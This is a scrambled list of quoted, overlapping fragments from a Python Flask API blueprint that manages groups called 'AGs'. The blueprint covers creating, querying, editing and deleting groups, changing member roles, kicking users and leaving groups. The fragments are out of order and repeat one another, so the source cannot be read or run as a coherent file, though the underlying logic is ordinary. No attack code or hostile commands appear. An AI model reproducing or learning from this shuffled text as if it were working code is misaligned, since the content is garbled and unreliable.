"redirect(url_for('index')) # else if there are no mentors left elif not ag.mentors: #",
"flask import Blueprint, request, jsonify, g, url_for, flash, redirect from sqlalchemy.sql import exists,",
"pattern # if something isn't right return a error message if db.session.query(exists().where(AG.name ==",
":return: redirect to the dashboard ''' # query the user and his associatin",
"the ag anymore # and his status is kicked edit_user_ag.role = 'NONE' edit_user_ag.status",
"params :param user_ag: database entry of the association bewteen the request user and",
"config for creating an ag from config.regex import AGRegex # declare the blueprint",
"are no members left if not ag.actual_users: # delete the ag and return",
"BadRequest() @bp.route('/', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() def get_all_ags():",
"his associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if the user",
"changes to the database and return to the ag dashboard flash(f'You cannot leave",
"name = request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description') # check that the",
"following: :key: <user_id>: unique database id of the user --> :value: <role> -->",
"success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check",
"user is not a member of the ag anymore # and his status",
"filled by @requires_member_association :return: redirect to the dashboard ''' # query the user",
"request, jsonify, g, url_for, flash, redirect from sqlalchemy.sql import exists, and_ from werkzeug.exceptions",
"error message if db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name, name)): return jsonify({'reason':",
"get filled by @requires_mentor :return: redirect to the ag dashboard ''' # for",
"{user.username} from the AG {ag.display_name}', 'success') db.session.commit() # return to the ag dashboard",
"delete an ag :param ag_name: name of the ag to be deleted automatic",
"from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the association entry, so",
"username of the user to be kicked out automatic filled params :param user_ag:",
"from app.util.ag import requires_ag from app.util.user import get_user_by_username # import additional blueprints regarding",
"values of an AG. The request body may include the following: :key: display_name:",
"bewteen the request user and the ag --> get filled by @requires_mentor :param",
"the user out :param user_name: username of the user to be kicked out",
"and return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted the",
"Int with the count how much ags to return --> if greater than",
"ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check",
"dashboard ''' # if the user is not a actual user of the",
"ag dashboard flash(f'You cannot leave an AG, when there is no Mentor left",
"return a BadRequest message else: return BadRequest() @bp.route('/', methods=['GET']) # check that the",
"cannot kick {user.username} from {ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the",
"config.regex import AGRegex # declare the blueprint variable for this blueprint bp =",
"save the changes db.session.commit() # return to the dashboard with a success message",
"display_name value_changed = True if description is not None and bool(re.match(AGRegex.description, description)): ag.description",
"= request.values.get('color', default='primary') # Add the AG entry to the DB to create",
"kick the user out :param user_name: username of the user to be kicked",
"(can contain spaces etc.) :key: description: A description of the AG :return: If",
"leave an AG, when there is no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard',",
"ag: database entry of the ag --> get filled by @requires_mentor :return: redirect",
":return: redirect to the dashboard ''' # delete the ag db.session.delete(ag) # save",
"@requires_member_association :return: redirect to the dashboard ''' # if the user is not",
"save changes to the database and redirect to the ag dashboard db.session.commit() flash(f'Successfully",
"# else if there are no mentors left, but still members elif not",
"default=None) value_changed = False # checks if the display_name or description got transmitted",
"'LEFT' # simulate the changes db.session.flush() # if there are no members left",
"ag.id)).scalar() # if there is an result for this user <==> the user",
"by @requires_mentor :return: redirect to the ag dashboard ''' # for every key",
"20 ags The request body may include the following: :key: count: Int with",
"ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that",
"# for every key in rquest values --> for every user/user_id passed by",
"of the ag --> return the schema for a member # else -->",
"= 'NONE' edit_user_ag.status = 'KICKED' # simulate the changes db.session.flush() # if there",
"'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason':",
"no members left if not ag.actual_users: # delete the ag and return to",
"to the database and redirect to the ag dashboard db.session.commit() flash(f'Successfully changed the",
"the dashboard ''' # delete the ag db.session.delete(ag) # save the changes db.session.commit()",
"you are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry,",
"200 # else return a BadRequest message else: return BadRequest() @bp.route('/', methods=['GET']) #",
"the ag and return to the dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and",
"@bp.route('/<ag_id>', methods=['PUT']) # check that the requester is authenticated/logined @requires_auth() # check that",
"message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 # else return a",
"unique name :param name: A specific AG name :return: JSON representation of the",
"= 'ACTIVE' user_ag.role = 'MENTOR' # add the association entry and save the",
"ag.mentors: # save a error message flash(f'You cannot kick the last Mentor of",
"from app.blueprints.api.v1.ag import applications, invitations, messages # import regex config for creating an",
"@requires_ag() def get_ag_by_name(ag_name, ag): ''' Query an AG specified by its unique name",
"still mentors # --> save changes to the database and redirect to the",
"of the ag --> get filled by @requires_member_association :return: redirect to the dashboard",
"roles of users in an ag The Request body includes following: :key: <user_id>:",
"# if something isn't right return a error message if db.session.query(exists().where(AG.name == name)).scalar()",
"ag to the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change values of",
"the user is in the ag if edit_user_ag: # update his role and",
"authenticated/logined @requires_auth() def add_ag(): ''' Create a new AG. The request body has",
"the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester is",
"has to include the following: :key: name: AG name used to identify the",
"if so update the ag entry if display_name is not None and bool(re.match(AGRegex.display_name,",
"and deleted the AG {ag.display_name}', 'success') return redirect(url_for('index')) # else if there are",
"not ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush() # save a success message",
"count how much ags to return --> if greater than 20, it will",
"# simulate the changes db.session.flush() # if there are no members left if",
"if the user is not a actual user of the ag # return",
"in the ag if not ag.actual_users: # delete the ag db.session.delete(ag) db.session.flush() #",
"last Mentor of {ag.display_name}', 'error') # else else: # save a success message",
"# adjust to a max of 20 if count > 20: count =",
"return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag), 200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the",
"or edit_user_ag.role == 'NONE': # return to the ag dashboard with a error",
"if count > 20: count = 20 # query all ags (with limit",
"<==> the user is in the ag if edit_user_ag: # update his role",
"# register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the",
"else: # save a success message and save the changes to the database",
"''' Update the roles of users in an ag The Request body includes",
"requester is a member of the ag --> return the schema for a",
"database and return a success message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}),",
"AG.query.offset(offset).limit(count).all() # return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that",
"import additional blueprints regarding applications, invitations and messages of ags from app.blueprints.api.v1.ag import",
"that is human read able (can contain spaces etc.) :key: description: A description",
"is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed = True if",
"mentors left elif not ag.mentors: # save a error message flash(f'You cannot kick",
"changed the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that",
"so he is added as mentor user_ag = UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id",
"# return to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that",
"AGSchema, AGSchemaIntern from app.models.associations import UserAG # import utilities from app.util import requires_auth",
"requires_mentor, requires_member_association from app.util.ag import requires_ag from app.util.user import get_user_by_username # import additional",
"in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') # check that the requester is",
"the changes to the database flash(f'You sucessfully kicked {user.username} from the AG {ag.display_name}',",
"== 'NONE': flash('You cannot leave an AG you are not in', 'error') return",
"is authenticated/logined @requires_auth() def add_ag(): ''' Create a new AG. The request body",
"key in rquest values --> for every user/user_id passed by the form for",
"add the user_ag association and the ag to the params/kwargs @requires_mentor() def kick_user(ag_name,",
"'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of the ag to be edited automatic",
"db # import app with config etc. from app import app # import",
"# add the association entry and save the database changes db.session.add(user_ag) db.session.commit() #",
"minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still",
"schemas ag_schema_intern = AGSchemaIntern() ag_schema = AGSchema() ags_schema = AGSchema(many=True) @bp.route('/', methods=['POST']) #",
"else # change the association entry, so the user is not a member",
"check that the values match the regex pattern # if something isn't right",
"display_name = request.values.get('display_name') description = request.values.get('description') # check that the ag name and",
"the dashboard with a success message flash(f'You successfully deleted the AG {ag.display_name}', 'success')",
"ag_name=ag_name)) # if there are still mentors # --> save changes to the",
"UserAG() user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR'",
"creating user, so he is added as mentor user_ag = UserAG() user_ag.user_id =",
"display_name is not None and bool(re.match(AGRegex.display_name, display_name)): ag.display_name = display_name value_changed = True",
"# query the database entry of the association between the user to be",
"changes db.session.commit() # return to the dashboard with a success message flash(f'You successfully",
"of the AGs ''' # read request params and set default if not",
"== display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if not",
"database AG entry ag: AG = AG() ag.name = name ag.display_name = display_name",
"# save the cganges to the database and return with the saved success",
"the blueprint variable for this blueprint bp = Blueprint('ag_api', __name__) # register the",
"Update the roles of users in an ag The Request body includes following:",
"are no members left in the ag if not ag.actual_users: # delete the",
"get filled by @requires_member_association :param ag: database entry of the ag --> get",
"identify the ag (eg. /ag/<name>) :key: display_name: AG name that is human read",
"the user is not a member of the ag anymore # and his",
"for interacting with an AG ''' # import third party modules import re",
"db.session.commit() # return to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check",
"there is no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else else:",
"200 @bp.route('/name/<ag_name>', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check",
"of 20 if count > 20: count = 20 # query all ags",
"''' # read request values name = request.values.get('name') display_name = request.values.get('display_name') description =",
"to the database and return with the saved success message to the dashboard",
"return a success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET'])",
"= True # if some value got changed, merge the entry to the",
"and_ from werkzeug.exceptions import BadRequest, PreconditionFailed # import database instance from app.models import",
"name :return: JSON representation of the AG ''' # if the requester is",
"methods=['GET']) # check that the requester is authenticated/logined @requires_auth() def get_all_ags(): ''' Query",
"ag_id: A specific id :return: JSON representation of the AG ''' # if",
"20: count = 20 # query all ags (with limit and offset) all_ags",
"app.util import requires_auth from app.util.assocations import requires_mentor, requires_member_association from app.util.ag import requires_ag from",
"__name__) # register the additional blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare",
"of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still mentors",
"--> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of the ag to be edited",
"and redirect to the ag dashboard db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}',",
"description: String with new description :param ag_id: AG id for which ag the",
"association and the ag to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): '''",
"@requires_member_association :param ag: database entry of the ag --> get filled by @requires_member_association",
"the ag dashboard with a error message flash(f'You cannot kick {user.username} from {ag.display_name}.')",
"# check that the ag with the ag_name exist and add it to",
"False # checks if the display_name or description got transmitted # if so",
"Create the association entry to the creating user, so he is added as",
"bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason':",
"# if there are still mentors # --> save changes to the database",
"ag --> return the schema for a member # else --> return the",
"# if there are no members left if not ag.actual_users: # delete the",
"the creating user, so he is added as mentor user_ag = UserAG() user_ag.user_id",
"# read request values name = request.values.get('name') display_name = request.values.get('display_name') description = request.values.get('description')",
"check that the requester is authenticated/logined @requires_auth() # check that the ag with",
"is a member of the ag --> return the schema for a member",
"''' # for every key in rquest values --> for every user/user_id passed",
"bewteen the request user and the ag --> get filled by @requires_member_association :param",
"# save a success message flash(f'You sucessfully left and deleted the AG {ag.name}',",
"check if the requester has a association to the ag # add the",
"and bool(re.match(AGRegex.description, description)): ag.description = description value_changed = True # if some value",
"etc. from app import app # import database models from app.models.ag import AG,",
"ag with the ag_name exist and add it to the params/kwargs @requires_ag() def",
"{ag.name}', 'success') # else if there are no mentors left, but still members",
"return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)):",
"and the ag to the params/kwargs @requires_mentor() def delete_ag(ag_name, ag, user_ag): ''' delete",
"redirect to the dashboard ''' # query the user and his associatin user",
"an ag from config.regex import AGRegex # declare the blueprint variable for this",
"so the user is no member anymore and left the ag user_ag.role =",
"app with config etc. from app import app # import database models from",
"flash(u'An AG needs a minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) #",
"display_name)).scalar() or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description,",
"400 # create a new database AG entry ag: AG = AG() ag.name",
"the params/kwargs @requires_mentor() def change_ag_values(ag_id, ag, user_ag): ''' Change values of an AG.",
"message flash(f'You sucessfully left the AG {ag.name}', 'success') # save the cganges to",
"type=int) offset = request.args.get('offset', default=0, type=int) # adjust to a max of 20",
"is None or edit_user_ag.role == 'NONE': # return to the ag dashboard with",
"something isn't right return a error message if db.session.query(exists().where(AG.name == name)).scalar() or not",
"change the association entry, so the user is not a member of the",
"update his role and simulate the changes edit_user_ag.role = role db.session.flush() # if",
"the dashboard ''' # query the user and his associatin user = get_user_by_username(user_name)",
":key: count: Int with the count how much ags to return --> if",
"changed :return: ''' # read the request vaalues display_name = request.values.get('display_name', default=None) description",
"'MENTOR' # add the association entry and save the database changes db.session.add(user_ag) db.session.commit()",
"description of the AG :return: If everything went as it should, the newly",
"# return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the",
"return a success message if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 #",
"user got assigned to be role = request.values.get(user_id) # query the database entry",
"the request user and the ag --> get filled by @requires_member_association :param ag:",
"a success message and save the changes to the database flash(f'You sucessfully kicked",
"'PARTICIPIANT' :param ag_name: ag_name of the ag to be edited automatic filled params",
"db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/leave') #",
"database entry of the ag --> get filled by @requires_member_association :return: redirect to",
"and # check that the values match the regex pattern # if something",
"else --> return the schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and",
"database and return with the saved success message to the dashboard db.session.commit() return",
"user_ag.role = 'MENTOR' # add the association entry and save the database changes",
"requester is authenticated/logined @requires_auth() # check @requires_mentor() # check that the requester is",
"role the user got assigned to be role = request.values.get(user_id) # query the",
"# save a success message flash(f'You sucessfully left the AG {ag.name}', 'success') #",
"the database entry of the association between the user to be edited an",
"sucessfully kicked {user.username} from the AG {ag.display_name}', 'success') db.session.commit() # return to the",
"= g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' # add",
"import third party modules import re from flask import Blueprint, request, jsonify, g,",
"database id of the user --> :value: <role> --> 'MENTOR' or 'PARTICIPIANT' :param",
"import requires_mentor, requires_member_association from app.util.ag import requires_ag from app.util.user import get_user_by_username # import",
"# if the requester is a member of the ag --> return the",
"is authenticated/logined @requires_auth() # check @requires_mentor() # check that the requester is a",
"be role = request.values.get(user_id) # query the database entry of the association between",
"name)): return jsonify({'reason': 'name'}), 400 if db.session.query(exists().where(AG.display_name == display_name)).scalar() or not bool( re.match(AGRegex.display_name,",
"if the user is not an actual user if edit_user_ag is None or",
"with new display_name :key: description: String with new description :param ag_id: AG id",
"max of 20 if count > 20: count = 20 # query all",
"if there are no mentors left elif not ag.mentors: # save a error",
"displayname is not used before and # check that the values match the",
"check @requires_mentor() # check that the requester is a mentor of the ag",
"<role> --> 'MENTOR' or 'PARTICIPIANT' :param ag_name: ag_name of the ag to be",
"a actual user of the ag # return a error message if user_ag.role",
"# if the user is not an actual user if edit_user_ag is None",
"the ag user_ag.role = 'NONE' user_ag.status = 'LEFT' # simulate the changes db.session.flush()",
"if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else:",
"# query all ags (with limit and offset) all_ags = AG.query.offset(offset).limit(count).all() # return",
"app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern = AGSchemaIntern() ag_schema",
"the changes edit_user_ag.role = role db.session.flush() # if there are no mentors left",
"to the ag dashboard ''' # for every key in rquest values -->",
"'description'}), 400 # create a new database AG entry ag: AG = AG()",
"= description ag.color = request.values.get('color', default='primary') # Add the AG entry to the",
"passed by the form for user_id in request.values: # the role the user",
"count = 20 # query all ags (with limit and offset) all_ags =",
"ag.description = description ag.color = request.values.get('color', default='primary') # Add the AG entry to",
"JSON Representation of the AGs ''' # read request params and set default",
"to identify the ag (eg. /ag/<name>) :key: display_name: AG name that is human",
"user_ag.user_id = g.session.user_id user_ag.ag_id = ag.id user_ag.status = 'ACTIVE' user_ag.role = 'MENTOR' #",
"and the ag --> get filled by @requires_member_association :param ag: database entry of",
"the changes to the database and return to the ag dashboard flash(f'You cannot",
"role db.session.flush() # if there are no mentors left if not ag.mentors: #",
"from config.regex import AGRegex # declare the blueprint variable for this blueprint bp",
"much ags to return --> if greater than 20, it will be set",
"schema for a foreign if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar():",
"the ag --> get filled by @requires_member_association :return: redirect to the dashboard '''",
":param ag: database entry of the ag --> get filled by @requires_mentor :return:",
"if value_changed: db.session.merge(ag) db.session.commit() return jsonify({'status': 'success'}), 200 # else return a BadRequest",
":default: 0 :return: JSON Representation of the AGs ''' # read request params",
"from app import app # import database models from app.models.ag import AG, AGSchema,",
"redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) @bp.route('<ag_name>/delete') # check that the requester is authenticated/logined @requires_auth() # check",
"Representation of the AGs ''' # read request params and set default if",
"{ag.display_name}.') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else # change the association entry, so the",
"AG, AGSchema, AGSchemaIntern from app.models.associations import UserAG # import utilities from app.util import",
"create a new id db.session.add(ag) db.session.flush() # Create the association entry to the",
"{ag.display_name}', 'error') # else else: # save a success message and save the",
"def get_ag_by_id(ag_id, ag): ''' Query an AG specified by its id :param ag_id:",
"A specific AG name :return: JSON representation of the AG ''' # if",
"@requires_member_association :return: redirect to the dashboard ''' # query the user and his",
"DB to create a new id db.session.add(ag) db.session.flush() # Create the association entry",
"left if not ag.actual_users: # delete the ag and return to the dashboard",
"the ag --> get filled by @requires_mentor :param ag: database entry of the",
"''' # read request params and set default if not set count =",
"id db.session.add(ag) db.session.flush() # Create the association entry to the creating user, so",
"still members elif not ag.mentors: # return a error message # dont save",
"count = request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0, type=int) # adjust to",
"return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() #",
"filled by @requires_mentor :return: redirect to the ag dashboard ''' # for every",
"of an AG. The request body may include the following: :key: display_name: String",
"the params/kwargs @requires_mentor() def kick_user(ag_name, user_name, ag, user_ag): ''' kick a user out",
"AG ''' # if the requester is a member of the ag -->",
"left if not ag.mentors: # throw error flash(u'An AG needs a minimum of",
"redirect to the dashboard ''' # if the user is not a actual",
"there are no mentors left if not ag.mentors: # throw error flash(u'An AG",
"add the association and the ag to the params/kwargs @requires_member_association() def leave_ag(ag_name, ag,",
"ag: database entry of the ag --> get filled by @requires_member_association :return: redirect",
"= request.args.get('count', default=5, type=int) offset = request.args.get('offset', default=0, type=int) # adjust to a",
"import Blueprint, request, jsonify, g, url_for, flash, redirect from sqlalchemy.sql import exists, and_",
"flash(f'You sucessfully kicked {user.username} from the AG {ag.display_name}', 'success') db.session.commit() # return to",
"entry of the association between the user to be edited an the ag",
"the ag dashboard db.session.commit() flash(f'Successfully changed the roles in {ag.display_name}', 'success') return redirect(url_for('ag.ag_dashboard',",
"message flash(f'You cannot kick the last Mentor of {ag.display_name}', 'error') # else else:",
"the association bewteen the request user and the ag --> get filled by",
"entry of the association bewteen the request user and the ag --> get",
"AG needs a minimum of one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if",
"# check that the requester is authenticated/logined @requires_auth() def get_all_ags(): ''' Query up",
"# if there are no mentors left if not ag.mentors: # throw error",
"200 else: return ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that the requester is",
"user if edit_user_ag is None or edit_user_ag.role == 'NONE': # return to the",
"it should, the newly created AG is returned. ''' # read request values",
"and add it to the params/kwargs @requires_ag() def get_ag_by_id(ag_id, ag): ''' Query an",
"@requires_mentor :return: redirect to the ag dashboard ''' # for every key in",
"leave the specified ag :param ag_name: name of the ag to leave automatic",
"requester is authenticated/logined @requires_auth() # check if the requester has a association to",
"The request body may include the following: :key: count: Int with the count",
"ag_id=ag.id).scalar() # if the user is not an actual user if edit_user_ag is",
"# change the association entry, so the user is not a member of",
"name of the ag to leave automatic filled params :param user_ag: database entry",
"Request body includes following: :key: <user_id>: unique database id of the user -->",
"# create a new database AG entry ag: AG = AG() ag.name =",
"request.values.get('display_name', default=None) description = request.values.get('description', default=None) value_changed = False # checks if the",
"to the database and return a success message if value_changed: db.session.merge(ag) db.session.commit() return",
"ag The Request body includes following: :key: <user_id>: unique database id of the",
"import utilities from app.util import requires_auth from app.util.assocations import requires_mentor, requires_member_association from app.util.ag",
"blueprints app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern",
"left and deleted the AG {ag.display_name}', 'success') return redirect(url_for('index')) # else if there",
"ag --> get filled by @requires_mentor :param ag: database entry of the ag",
"db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag_id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return",
"ags The request body may include the following: :key: count: Int with the",
"when there is no Mentor left afterwards', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else",
"# checks if the display_name or description got transmitted # if so update",
"== ag.id)).scalar() # if there is an result for this user <==> the",
"save a success message and save the changes to the database flash(f'You sucessfully",
"to be role = request.values.get(user_id) # query the database entry of the association",
"@requires_auth() # check if the requester has a association to the ag #",
"changes db.session.flush() # if there are no members left in the ag if",
"spaces etc.) :key: description: A description of the AG :return: If everything went",
"not a actual user of the ag # return a error message if",
"right return a error message if db.session.query(exists().where(AG.name == name)).scalar() or not bool( re.match(AGRegex.name,",
"new id db.session.add(ag) db.session.flush() # Create the association entry to the creating user,",
"return a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester",
"get filled by @requires_member_association :return: redirect to the dashboard ''' # if the",
"member of the ag --> return the schema for a member # else",
"/ag/<name>) :key: display_name: AG name that is human read able (can contain spaces",
"ag.mentors: # return a error message # dont save the changes to the",
"redirect(url_for('ag.ag_dashboard', ag_name=ag_name)) # else: update the entry, so the user is no member",
"isn't right return a error message if db.session.query(exists().where(AG.name == name)).scalar() or not bool(",
"cganges to the database and return with the saved success message to the",
"of users in an ag The Request body includes following: :key: <user_id>: unique",
"ag): ''' Query an AG specified by its unique name :param name: A",
"the ag to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag): ''' Update the",
"requester has a association to the ag # add the association and the",
"A description of the AG :return: If everything went as it should, the",
"return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)): return jsonify({'reason': 'description'}), 400 #",
"is an result for this user <==> the user is in the ag",
"# the role the user got assigned to be role = request.values.get(user_id) #",
"ag dashboard ''' # for every key in rquest values --> for every",
"ag to leave automatic filled params :param user_ag: database entry of the association",
"entries to skip :default: 0 :return: JSON Representation of the AGs ''' #",
"a json representation return ags_schema.jsonify(all_ags) @bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester is",
"user and his associatin user = get_user_by_username(user_name) edit_user_ag = db.session.query(UserAG).filter_by(user_id=user.id, ag_id=ag.id).scalar() # if",
"invitations and messages of ags from app.blueprints.api.v1.ag import applications, invitations, messages # import",
"left elif not ag.mentors: # save a error message flash(f'You cannot kick the",
"return a error message if user_ag.role == 'NONE': flash('You cannot leave an AG",
"flash('You cannot leave an AG you are not in', 'error') return redirect(url_for('ag.ag_dashboard', ag_name=ag_name))",
"# import third party modules import re from flask import Blueprint, request, jsonify,",
"database and return to the ag dashboard flash(f'You cannot leave an AG, when",
"leave_ag(ag_name, ag, user_ag): ''' leave the specified ag :param ag_name: name of the",
"that the ag name and displayname is not used before and # check",
"get filled by @requires_mentor :param ag: database entry of the ag --> get",
"the ag dashboard ''' # for every key in rquest values --> for",
"message if user_ag.role == 'NONE': flash('You cannot leave an AG you are not",
"display_name ag.description = description ag.color = request.values.get('color', default='primary') # Add the AG entry",
"kick the last Mentor of {ag.display_name}', 'error') # else else: # save a",
"@bp.route('<ag_name>/submit_setting', methods=['GET']) # check that the requester is authenticated/logined @requires_auth() # check that",
":return: redirect to the dashboard ''' # if the user is not a",
"AG {ag.display_name}', 'success') db.session.commit() # return to the ag dashboard return redirect(url_for('ag.ag_dashboard', ag_name=ag_name))",
"dashboard ''' # for every key in rquest values --> for every user/user_id",
"user to be kicked out automatic filled params :param user_ag: database entry of",
"A specific id :return: JSON representation of the AG ''' # if the",
"the following: :key: display_name: String with new display_name :key: description: String with new",
"ag: AG = AG() ag.name = name ag.display_name = display_name ag.description = description",
"for which ag the provided values should be changed :return: ''' # read",
"in an ag The Request body includes following: :key: <user_id>: unique database id",
"ag.mentors: # throw error flash(u'An AG needs a minimum of one Mentor', 'error')",
"or not bool( re.match(AGRegex.display_name, display_name)): return jsonify({'reason': 'display_name'}), 400 if not bool(re.match(AGRegex.description, description)):",
"offset: Int how many entries to skip :default: 0 :return: JSON Representation of",
"to the ag dashboard with a error message flash(f'You cannot kick {user.username} from",
"ag_schema.jsonify(ag), 200 @bp.route('/<ag_id>', methods=['PUT']) # check that the requester is authenticated/logined @requires_auth() #",
"user_ag association and the ag to the params/kwargs @requires_mentor() def update_users(ag_name, user_ag, ag):",
"the AG {ag.display_name}', 'success') db.session.commit() # return to the ag dashboard return redirect(url_for('ag.ag_dashboard',",
"one Mentor', 'error') return redirect(url_for('ag.ag_settings', ag_name=ag_name)) # if there are still mentors #",
"the ag --> get filled by @requires_mentor :return: redirect to the ag dashboard",
"the requester is authenticated/logined @requires_auth() # check @requires_mentor() # check that the requester",
"if db.session.query(exists().where(UserAG.user_id == g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else:",
"app.register_blueprint(invitations.bp, url_prefix='/invitations') app.register_blueprint(applications.bp, url_prefix='/applications') app.register_blueprint(messages.bp, url_prefix='/messages') #declare the needed marshmallow schemas ag_schema_intern =",
"to return --> if greater than 20, it will be set to 20",
"a success message return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) #",
"may include the following: :key: display_name: String with new display_name :key: description: String",
"user is not a actual user of the ag # return a error",
"filled by @requires_member_association :return: redirect to the dashboard ''' # delete the ag",
"ag_id: AG id for which ag the provided values should be changed :return:",
"dashboard db.session.delete(ag) db.session.commit() flash(f'You sucessfully left and deleted the AG {ag.display_name}', 'success') return",
"is human read able (can contain spaces etc.) :key: description: A description of",
"''' # import third party modules import re from flask import Blueprint, request,",
"== g.session.user_id and \\ UserAG.ag_id == ag.id)).scalar(): return ag_schema_intern.jsonify(ag), 200 else: return ag_schema.jsonify(ag),",
"AG. The request body may include the following: :key: display_name: String with new",
"database and redirect to the ag dashboard db.session.commit() flash(f'Successfully changed the roles in",
"return jsonify({'status': 'success', 'redirect': url_for('ag.invite_ag', ag_name=ag.name)}), 200 @bp.route('/id/<ag_id>', methods=['GET']) # check that the",
"no members left in the ag if not ag.actual_users: # delete the ag",
"request body has to include the following: :key: name: AG name used to",
"ag.color = request.values.get('color', default='primary') # Add the AG entry to the DB to",
"the ag # return a error message if user_ag.role == 'NONE': flash('You cannot",
"AG id for which ag the provided values should be changed :return: '''",
"check that the requester is authenticated/logined @requires_auth() def add_ag(): ''' Create a new",
"success message flash(f'You sucessfully left and deleted the AG {ag.name}', 'success') # else",
